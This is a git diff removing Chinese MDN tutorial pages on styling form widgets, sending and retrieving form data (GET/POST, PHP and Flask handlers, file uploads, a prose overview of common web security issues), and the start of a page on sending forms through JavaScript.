{{cssxref("padding")}}No[1]Partial[2] -
    -
  1. 属性可以应用,但 Mac OSX 上浏览器之间的以不一致的方向显示,所以并不可靠。
  2. -
  3. 这个属性在 {{HTMLElement("select")}} 元素上一切正常,但不能用于 {{HTMLElement("option")}} 或者 {{HTMLElement("optgroup")}} 元素。
  4. -
-
Text and font
{{cssxref("color")}}Partial[1]Partial[1] -
    -
  1. 在 Mac OSX 上, 基于 WebKit 的浏览器 不支持将这个属性用于原生组件。它们和 Opera, 在 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素上根本不支持这个属性。
  2. -
-
{{cssxref("font")}}Partial[1]Partial[1] -
    -
  1. 在 Mac OSX 上, 基于 WebKit 的浏览器 不支持将这个属性用于原生组件。它们和 Opera, 在 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素上根本不支持这个属性。
  2. -
-
{{cssxref("letter-spacing")}}Partial[1]Partial[1] -
    -
  1. IE9 不支持将这个属性用于 {{HTMLElement("select")}}, {{HTMLElement("option")}}, 和 {{HTMLElement("optgroup")}} 元素;Mac OSX 上基于 WebKit 的浏览器不支持将这个属性应用于 {{HTMLElement("option")}} 和 {{HTMLElement("optgroup")}} 元素。
  2. -
-
{{cssxref("text-align")}}No[1]No[1] -
    -
  1. Windows 7 上的 IE9 和 Mac OSX 上基于 WebKit 的浏览器,不支持这个组件上的这个属性。
  2. -
-
{{cssxref("text-decoration")}}Partial[1]Partial[1] -
    -
  1. 只有 Firefox 提供了对这个属性的完全支持。Opera 根本不支持这个属性,而其他浏览器只提供了对 {{HTMLElement("select")}} 元素的支持。
  2. -
-
{{cssxref("text-indent")}}Partial[1][2]Partial[1][2] -
    -
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. -
  3. IE9 不支持这个属性
  4. -
-
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}Partial[1][2]Partial[1][2] -
    -
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. -
  3. IE9 不支持这个属性
  4. -
-
{{cssxref("text-transform")}}Partial[1]Partial[1] -
    -
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. -
-
Border and background
{{cssxref("background")}}Partial[1]Partial[1] -
    -
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. -
-
{{cssxref("border-radius")}}Partial[1]Partial[1]
{{cssxref("box-shadow")}}NoPartial[1]
- -

Select boxes (multiline)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}YesYes 
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Partial[1] -
    -
  1. Opera 在 {{HTMLElement("select")}} 元素上 不支持 {{cssxref("padding-top")}} 和 {{cssxref("padding-bottom")}} 。
  2. -
-
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}YesYes查看{{cssxref("line-height")}} 的注意事项。
{{cssxref("letter-spacing")}}Partial[1]Partial[1] -
    -
  1. IE9 在 {{HTMLElement("select")}}, {{HTMLElement("option")}}, 和{{HTMLElement("optgroup")}} 元素上不支持这个属性;Mac OSX 上基于 WebKit 的浏览器在 {{HTMLElement("option")}} 和{{HTMLElement("optgroup")}} 元素上不支持这个属性。
  2. -
-
{{cssxref("text-align")}}No[1]No[1] -
    -
  1. Windows 7 上的 IE9 和 Mac OSX 上基于 WebKit 的浏览器,不支持这个组件上的这个属性。
  2. -
-
{{cssxref("text-decoration")}}No[1]No[1] -
    -
  1. 只被 Firefox and IE9+ 支持。
  2. -
-
{{cssxref("text-indent")}}NoNo 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}Partial[1]Partial[1] -
    -
  1. 大部分浏览器仅仅支持将这个属性用于 {{HTMLElement("select")}} 元素。
  2. -
-
Border and background
{{cssxref("background")}}YesYes 
{{cssxref("border-radius")}}Yes[1]Yes[1] -
    -
  1. 在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用
  2. -
-
{{cssxref("box-shadow")}}NoPartial[1] -
    -
  1. IE9 不支持这个属性
  2. -
-
- -

Datalist

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}NoNo 
{{cssxref("height")}}NoNo 
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}NoNo 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}NoNo 
{{cssxref("font")}}NoNo 
{{cssxref("letter-spacing")}}NoNo 
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}NoNo 
{{cssxref("text-indent")}}NoNo 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}NoNo 
Border and background
{{cssxref("background")}}NoNo 
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoNo 
- -

File picker

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}NoNo 
{{cssxref("height")}}NoNo 
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}No[1]No[1] -
    -
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. -
-
{{cssxref("letter-spacing")}}Partial[1]Partial[1] -
    -
  1. 许多浏览器将这个属性应用到选择按钮上。
  2. -
-
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}NoNo 
{{cssxref("text-indent")}}Partial[1]Partial[1] -
    -
  1. 它表现的或多或少的像一个组件左侧的边缘。
  2. -
-
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}NoNo 
Border and background
{{cssxref("background")}}No[1]No[1] -
    -
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. -
-
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoPartial[1] -
    -
  1. IE9 不支持这个属性
  2. -
-
- -

Date pickers

- -

许多属性都支持但是浏览器之间的不一致性太多,所以并不可靠。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}NoNo 
{{cssxref("height")}}NoNo 
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}NoNo 
{{cssxref("font")}}NoNo 
{{cssxref("letter-spacing")}}NoNo 
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}NoNo 
{{cssxref("text-indent")}}NoNo 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}NoNo 
{{cssxref("text-transform")}}NoNo 
Border and background
{{cssxref("background")}}NoNo 
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoNo 
- -

Color pickers

- -

There is currently not enough implementation to get realiable behaviors.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}No[1]Yes -
    -
  1. Opera 将它像一个选择组件一样,以同样的限制处理。
  2. -
-
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}No[1]Yes -
    -
  1. Opera 将它像一个选择组件一样,以同样的限制处理。
  2. -
-
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}No[1]No[1] -
    -
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. -
-
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
- -

Meters and progress

- -

There is currently not enough implementation to get realiable behaviors.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}YesYes 
{{cssxref("border")}}PartialYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}YesPartial[1] -
    -
  1. 当 {{cssxref("padding")}} 属性应用于一个 tweaked 元素时,Chrome 会隐藏 {{HTMLElement("progress")}} 和{{HTMLElement("meter")}} 元素。
  2. -
-
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}No[1]No[1] -
    -
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. -
-
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
- -

Range

- -

There is no standard way to change the style of the range grip and Opera has no way to tweak the default rendering of the range widget.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1]Partial[1] -
    -
  1. Chrome 和 Opera 在组件周围添加了一些额外的空白,而 Windows 7 上的 Opera 则拉伸范围选择器的滑块。
  2. -
-
{{cssxref("border")}}NoYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Yes -
    -
  1.  {{cssxref("padding")}} 属性被运用,但是没有任何的视觉效果。
  2. -
-
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}No[1]No[1] -
    -
  1. 支持,但浏览器之间的不一致性太多,所以并不可靠。
  2. -
-
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
- -

Image buttons

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}YesYes 
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}YesYes 
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}YesYes 
{{cssxref("border-radius")}}Partial[1]Partial[1] -
    -
  1. IE9 不支持这个属性
  2. -
-
{{cssxref("box-shadow")}}Partial[1]Partial[1] -
    -
  1. IE9 不支持这个属性
  2. -
-
- -

{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

- -

 

- -

在本单元中

- - - -

 

diff --git a/files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html b/files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html deleted file mode 100644 index ed3a4ef0ef..0000000000 --- a/files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html +++ /dev/null @@ -1,369 +0,0 @@ ---- -title: 发送表单数据 -slug: Learn/HTML/Forms/Sending_and_retrieving_form_data -tags: - - HTML - - HTTP - - Web - - request - - 安全 - - 表单 -translation_of: Learn/Forms/Sending_and_retrieving_form_data ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}

- -

本文将讨论当用户提交表单时发生了什么——数据去了哪,以及当它到达时该如何处理?我们还研究了与发送表单数据相关的一些安全问题。

- - - - - - - - - - - - -
预备知识: -

基本计算机素养,对HTML的理解,对HTTP服务器端编程的基础知识。

-
目标:了解表单数据提交时发生了什么,包括服务器上如何处理数据的基本概念。
- -

数据都去哪儿了?

- -

在这里,我们将讨论在提交表单时数据会发生什么。

- -

客户端/服务器体系结构

- -

web基于非常基本的客户端/服务器体系结构,可以总结如下:客户端(通常是web浏览器)向服务器发送请求(大多数情况下是ApacheNginxIISTomcat等web服务器),使用HTTP 协议。服务器使用相同的协议来回答请求。

- -

A basic schema of the Web client/server architecture

- -

在客户端,HTML表单只不过是一种方便的用户友好的方式,可以配置HTTP请求将数据发送到服务器。这使用户能够提供在HTTP请求中传递的信息。

- -
-

注意:为了更好地了解客户端—服务器架构是如何工作的,请阅读我们的服务器端网站编程的第一个步骤模块。

-
- -

在客户端:定义如何发送数据

- -

{{HTMLElement("form")}}元素定义了如何发送数据。它的所有属性都是为了让您配置当用户点击提交按钮时发送的请求。两个最重要的属性是{{htmlattrxref("action","form")}}和{{htmlattrxref("method","form")}}。

- -

 {{htmlattrxref("action","form")}} 属性

- -

这个属性定义了发送数据要去的位置。它的值必须是一个有效的URL。如果没有提供此属性,则数据将被发送到包含这个表单的页面的URL。

- -

在这个例子中,数据被发送到一个绝对URL —— http://foo.com

- -
<form action="http://foo.com">
- -

这里,我们使用相对URL——数据被发送到服务器上的不同URL

- -
<form action="/somewhere_else">
-
- -

在没有属性的情况下,像下面一样,{{HTMLElement("form")}}数据被发送到表单出现的相同页面上:

- -
<form>
- -

许多较老的页面使用下面的符号表示数据应该被发送到包含表单的相同页面;这是必需的,因为直到HTML5{{htmlattrxref("action", "form")}}属性都需要该符号。现在,这不再需要了。

- -
<form action="#">
- -
-

注意:可以指定使用HTTPS(安全HTTP)协议的URL。当您这样做时,数据将与请求的其余部分一起加密,即使表单本身是托管在使用HTTP访问的不安全页面上。另一方面,如果表单是在安全页面上托管的,但是您指定了一个不安全的HTTP URL,它带有{{htmlattrxref("action","form")}}属性,所有的浏览器都会在每次尝试发送数据时向用户显示一个安全警告,因为数据不会被加密。

-
- -

 {{htmlattrxref("method","form")}}属性

- -

该属性定义了如何发送数据。HTTP协议提供了几种执行请求的方法;HTML表单数据可以通过许多不同的方法进行数据传输,其中最常见的是GET方法和POST方法。

- -

为了理解这两种方法之间的区别,让我们回过头来看看HTTP是如何工作的。
- 每当您想要访问Web上的资源时,浏览器都会向URL发送一个请求。
- HTTP请求由两个部分组成:一个包含关于浏览器功能的全局元数据集的头部,和一个包含服务器处理特定请求所需信息的主体。

- -
GET 方法
- -

GET方法是浏览器使用的方法,请求服务器返回给定的资源:“嘿,服务器,我想要得到这个资源。”在这种情况下,浏览器发送一个空的主体。由于主体是空的,如果使用该方法发送一个表单,那么发送到服务器的数据将被追加到URL。

- -

考虑下面这个表单:

- -
<form action="http://foo.com" method="get">
-  <div>
-    <label for="say">What greeting do you want to say?</label>
-    <input name="say" id="say" value="Hi">
-  </div>
-  <div>
-    <label for="to">Who do you want to say it to?</label>
-    <input name="to" id="to" value="Mom">
-  </div>
-  <div>
-    <button>Send my greetings</button>
-  </div>
-</form>
- -

由于已经使用了GET方法,当你提交表单的时候,您将看到www.foo.com/?say=Hi&to=Mom在浏览器地址栏里。

- -

数据作为一系列的名称/值对被附加到URL。在URL web地址结束之后,我们得到一个问号(?),后面跟着由一个与符号(&)互相分隔开的名称/值对。在本例中,我们将两个数据传递给服务器。

- - - -

HTTP请求如下:

- -
GET /?say=Hi&to=Mom HTTP/2.0
-Host: foo.com
- -
-

注意:你可以在GitHub 上看到本例子——见 get-method.html (预览版).

-
- -
POST 方法
- -

POST方法略有不同。这是浏览器在询问响应时使用与服务器通信的方法,该响应考虑了HTTP请求正文中提供的数据:“嘿,服务器,看一下这些数据,然后给我回一个适当的结果。”如果使用该方法发送表单,则将数据追加到HTTP请求的主体中。

- -

让我们来看一个例子,这是我们在上面的GET部分中所看到的相同的形式,但是使用{{htmlattrxref("method","form")}}属性设置为post

- -
<form action="http://foo.com" method="post">
-  <div>
-    <label for="say">What greeting do you want to say?</label>
-    <input name="say" id="say" value="Hi">
-  </div>
-  <div>
-    <label for="to">Who do you want to say it to?</label>
-    <input name="to" id="to" value="Mom">
-  </div>
-  <div>
-    <button>Send my greetings</button>
-  </div>
-</form>
- -

当使用POST方法提交表单时,没有数据会附加到URL,HTTP请求看起来是这样的,而请求主体中包含的数据是这样的:

- -
POST / HTTP/2.0
-Host: foo.com
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 13
-
-say=Hi&to=Mom
- -

Content-Length数据头表示主体的大小,Content-Type数据头表示发送到服务器的资源类型。稍后我们将讨论这些标头。

- -
-

注意:你可以在 GitHub 上看到本例—— 见 post-method.html (预览版).

-
- -

查看HTTP请求

- -

HTTP请求永远不会显示给用户(如果您想要看到它们,您需要使用诸如Firefox Network MonitorChrome Developer Tools之类的工具)。例如,您的表单数据将显示在Chrome网络选项卡中:

- -
    -
  1. 按下 F12
  2. -
  3. 选择 "Network"
  4. -
  5. 选择 "All"
  6. -
  7. 在 "Name" 标签页选择 "foo.com"
  8. -
  9. 选择 "Headers"
  10. -
- -

你可以获得表单数据,像下图显示的那样

- -

- -

唯一显示给用户的是被调用的URL。正如我们上面提到的,使用GET请求用户将在他们的URL栏中看到数据,但是使用POST请求用户将不会看到。这一点很重要,有两个原因:

- -
    -
  1. 如果您需要发送一个密码(或其他敏感数据),永远不要使用GET方法否则数据会在URL栏中显示,这将非常不安全。
  2. -
  3. 如果您需要发送大量的数据,那么POST方法是首选的,因为一些浏览器限制了URL的大小。此外,许多服务器限制它们接受的URL的长度。
  4. -
- -

在服务器端:检索数据

- -

无论选择哪种HTTP方法,服务器都会接收一个字符串并解析,以便将数据作为键/值对序列获取。您访问这个序列的方式取决于您使用的开发平台以及您可能使用的任何特定框架。您使用的技术也决定了如何处理密钥副本;通常,最近收到的密钥的值是优先的。

- -

例如:原始PHP

- -

PHP提供了一些全局对象来访问数据。假设您已经使用了POST方法,那么下面的示例将获取数据并将其显示给用户。当然,你对数据的处理取决于你自己。您可以显示它,将它存储到数据库中,通过电子邮件发送它,或者以其他方式处理它。

- -
<?php
-  // The global $_POST variable allows you to access the data sent with the POST method by name
-  // To access the data sent with the GET method, you can use $_GET
-  $say = htmlspecialchars($_POST['say']);
-  $to  = htmlspecialchars($_POST['to']);
-
-  echo  $say, ' ', $to;
-?>
- -

这个例子显示了一个带有我们发送的数据的页面。您可以在我们的示例php-example.html中看到这一点——该文件包含与我们之前看到的相同的示例表单,它使用了postmethodphp-example.phpaction。当提交时,它将表单数据发送到php-example.php,其中包含了上述代码块中所见的php代码。当执行此代码时,浏览器中的输出是Hi Mom

- -

- -
-

注意:当您将本例加载到本地浏览器中时,这个示例将无法工作---浏览器无法解析PHP代码,因此当提交表单时,浏览器只会为您提供下载PHP文件。为了让它生效,您需要通过某种类型的PHP服务器运行这个示例。本地PHP测试的好选择有MAMP(Mac和Windows)和AMPPS(Mac、Windows、Linux)。

-
- -

例子: Python

- -

这个例子展示了如何使用Python完成同样的事情——在web页面上显示提交的数据。
- 这将使用Flask framework来呈现模板、处理表单数据提交等(参见python-example.py)。

- -
from flask import Flask, render_template, request
-app = Flask(__name__)
-
-@app.route('/', methods=['GET', 'POST'])
-def form():
-    return render_template('form.html')
-
-@app.route('/hello', methods=['GET', 'POST'])
-def hello():
-    return render_template('greeting.html', say=request.form['say'], to=request.form['to'])
-
-if __name__ == "__main__":
-    app.run()
- -

以上代码中引用的两个模板如下:

- - - -
-

注意:同样,如果您只是尝试将其直接加载到浏览器中,那么这段代码将无法工作。Python的工作方式与PHP略有不同——要在本地运行此代码,您需要安装Python/pip,然后使用pip3 install flask安装Flask。此时,您应该能够使用python3 python-example.py来运行这个示例,然后在浏览器中导航到localhost:5000

-
- -

其他语言和框架

- -

还有许多其他的服务器端技术可以用于表单处理,包括PerlJava.NetRuby等。只挑你最喜欢的用就好。话虽如此,但值得注意的是,直接使用这些技术并不常见,因为这可能很棘手。更常见的是使用许多优秀的框架,这些框架使处理表单变得更容易,例如:

- - - -

要注意的是,即使使用这些框架,使用表单也不一定很容易。但这比从头开始编写所有功能要简单得多,而且会节省很多时间。

- -
-

注意:向您介绍任何服务器端语言或框架超出了本文的范围。如果你想要学习这些它们,上面的链接会给你一些帮助。

-
- -

特殊案例:发送文件

- -

用HTML表单发送文件是一个特殊的例子。文件是二进制数据——或者被认为是这样的——而所有其他数据都是文本数据。由于HTTP是一种文本协议,所以处理二进制数据有特殊的要求。

- -

{{htmlattrxref("enctype","form")}} 属性

- -

该属性允许您指定在提交表单时所生成的请求中的Content-Type的HTTP数据头的值。这个数据头非常重要,因为它告诉服务器正在发送什么样的数据。默认情况下,它的值是application/x-www-form-urlencoded。它的意思是:“这是已编码为URL参数的表单数据。”

- -

如果你想要发送文件,你需要额外的三个步骤:

- - - -

例如:

- -
<form method="post" enctype="multipart/form-data">
-  <div>
-    <label for="file">Choose a file</label>
-    <input type="file" id="file" name="myFile">
-  </div>
-  <div>
-    <button>Send the file</button>
-  </div>
-</form>
- -
-

注意:一些浏览器支持{{HTMLElement("input")}}的{{htmlattrxref("multiple","input")}}属性,它允许只用一个 <input> 元素选择一个以上的文件上传。服务器如何处理这些文件取决于服务器上使用的技术。如前所述,使用框架将使您的生活更轻松。

-
- -
-

警告:为了防止滥用,许多服务器配置了文件和HTTP请求的大小限制。在发送文件之前,先检查服务器管理员的权限是很重要的。

-
- -

常见的安全问题

- -

每次向服务器发送数据时,都需要考虑安全性。到目前为止,HTML表单是最常见的攻击路径(可能发生攻击的地方)。这些问题从来都不是来自HTML表单本身,它们来自于服务器如何处理数据。

- -

根据你所做的事情,你会遇到一些非常有名的安全问题:

- -

XSS 和 CSRF

- -

跨站脚本(XSS)和跨站点请求伪造(CSRF)是常见的攻击类型,它们发生在当您将用户发送的数据显示给这个用户或另一个用户时。

- -

XSS允许攻击者将客户端脚本注入到其他用户查看的Web页面中。攻击者可以使用跨站点脚本攻击的漏洞来绕过诸如同源策略之类的访问控制。这些攻击的影响可能从一个小麻烦到一个重大的安全风险。

- -

CSRF攻击类似于XSS攻击,因为它们以相同的方式开始攻击——向Web页面中注入客户端脚本——但它们的目标是不同的。CSRF攻击者试图将权限升级到特权用户(比如站点管理员)的级别,以执行他们不应该执行的操作(例如,将数据发送给一个不受信任的用户)。

- -

XSS攻击利用用户对web站点的信任,而CSRF攻击则利用网站对其用户的信任。

- -

为了防止这些攻击,您应该始终检查用户发送给服务器的数据(如果需要显示),尽量不要显示用户提供的HTML内容。相反,您应该对用户提供的数据进行处理,这样您就不会逐字地显示它。当今市场上几乎所有的框架都实现了一个最小的过滤器,它可以从任何用户发送的数据中删除HTML{{HTMLElement("script")}}、{{HTMLElement("iframe")}} 和{{HTMLElement("object")}} 元素。这有助于降低风险,但并不一定会消除风险。

- -

SQL注入

- -

SQL 注入是一种试图在目标web站点使用的数据库上执行操作的攻击类型。这通常包括发送一个SQL请求,希望服务器能够执行它(通常发生在应用服务器试图存储由用户发送的数据时)。这实际上是攻击网站的主要途径之一。 

- -

其后果可能是可怕的,从数据丢失到通过使用特权升级控制整个网站基础设施的攻击。这是一个非常严重的威胁,您永远不应该存储用户发送的数据,而不执行一些清理工作(例如,在php/mysql基础设施上使用mysql_real_escape_string()

- -

HTTP数据头注入和电子邮件注入

- -

这种类型的攻击出现在当您的应用程序基于表单上用户的数据输入构建HTTP头部或电子邮件时。这些不会直接损害您的服务器或影响您的用户,但它们会引发一个更深入的问题,例如会话劫持或网络钓鱼攻击。

- -

这些攻击大多是无声的,并且可以将您的服务器变成僵尸

- -

偏执:永远不要相信你的用户

- -

那么,你如何应对这些威胁呢?这是一个远远超出本指南的主题,不过有一些规则需要牢记。最重要的原则是:永远不要相信你的用户,包括你自己;即使是一个值得信赖的用户也可能被劫持。

- -

所有到达服务器的数据都必须经过检查和消毒。总是这样。没有例外。

- - - -

如果你遵循这三条规则,你应该避免很多问题,但是如果你想要得到一个有能力的第三方执行的安全检查,这是一个好主意。不要以为你已经看到了所有可能的问题。

- -
-

注意:我们的服务器端学习主题的网站安全性文章更详细地讨论了上述威胁和潜在的解决方案。

-
- -

结论

- -

如您所见,发送表单数据很容易,但要确保应用程序的安全性是很棘手的。请记住,前端开发人员不是应该定义数据安全模型的人。是的,我们将看到,执行客户端数据验证是可能的,但是服务器不能信任这种验证,因为它无法真正知道客户端到底发生了什么。

- -

相关链接

- -

如果您想了解更多关于保护web应用程序的信息,您可以深入了解这些资源:

- - - -

{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}

- -

在本单元中

- - diff --git a/files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html b/files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html deleted file mode 100644 index 8489ff2243..0000000000 --- a/files/zh-cn/learn/html/forms/sending_forms_through_javascript/index.html +++ /dev/null @@ -1,439 +0,0 @@ ---- -title: 使用 JavaScript 发送表单 -slug: Learn/HTML/Forms/Sending_forms_through_JavaScript -tags: - - HTML - - HTML表单 - - JavaScript - - Web 表单 - - 示例 - - 表单 - - 高级 -translation_of: Learn/Forms/Sending_forms_through_JavaScript ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}
- -

正如在前面的文章中讲到的,HTML 表单可以声明式地发送一个 HTTP 请求。 但也可以通过 JavaScript 来为表单准备用于发送的 HTTP 请求。 本文探讨如何做到这一点。

- -

表单不总是表单

- -

开放式Web应用程序中,使用 HTML form 而不是文字表单让人们来填写变得越来越普遍了 — 越来越多的开发人员正致力于控制传输数据。

- -

获得整体界面的控制

- -

标准的 HTML 表单提交会加载数据要发送到的URL,这意味着浏览器窗口以整页加载进行导航。 可以通过隐藏闪烁和网络滞后来避免整页加载以提供更平滑的体验。

- -

许多现代用户界面只使用HTML表单来收集用户的输入。 当用户尝试发送数据时,应用程序将在后台采取控制并且异步地传输数据,只更新UI中需要更改的部分。

- -

异步地发送任何数据被称为 AJAX,它代表 "Asynchronous JavaScript And XML"。

- -

表单提交和 AJAX 请求之间的区别?

- -

AJAX 技术主要依靠 {{domxref("XMLHttpRequest")}} (XHR) DOM 对象。它可以构造 HTTP 请求、发送它们,并获取请求结果。

- -
-

注意: 老旧的 AJAX 技术可能不依赖 {{domxref("XMLHttpRequest")}}。例如 JSONPeval() 函数。这也行得通,但是有严重的安全问题,不推荐使用它。使用它的唯一原因是为了不支持 {{domxref("XMLHttpRequest")}} 或 JSON的过时浏览器;但是那些浏览器实在是太古老了!避免使用这种技术。

-
- -

创建之初, {{domxref("XMLHttpRequest")}} 被设计用来将 XML 作为传输数据的格式获取和发送。不过,如今 JSON 已经取代了 XML,而且要常用的多,无论这是不是一件好事。

- -

但是 XML 和 JSON 都不适合对表单数据请求编码。 表单数据(application/x-www-form-urlencoded)由 URL编码的键/值对列表组成。为了传输二进制数据,HTTP请求被重新整合成multipart/form-data形式。

- -

如果您控制前端(在浏览器中执行的代码)和后端(在服务器上执行的代码),则可以发送JSON / XML并根据需要处理它们。

- -

但是,如果你想使用第三方服务,没有那么简单。 有些服务只接受表单数据。 也有使用表单数据更简单的情况。 如果数据是键/值对,或是原始二进制数据,以现有的后端工具不需要额外的代码就可以处理它。

- -

那么如何发送这样的数据呢?

- -

发送表单数据

- -

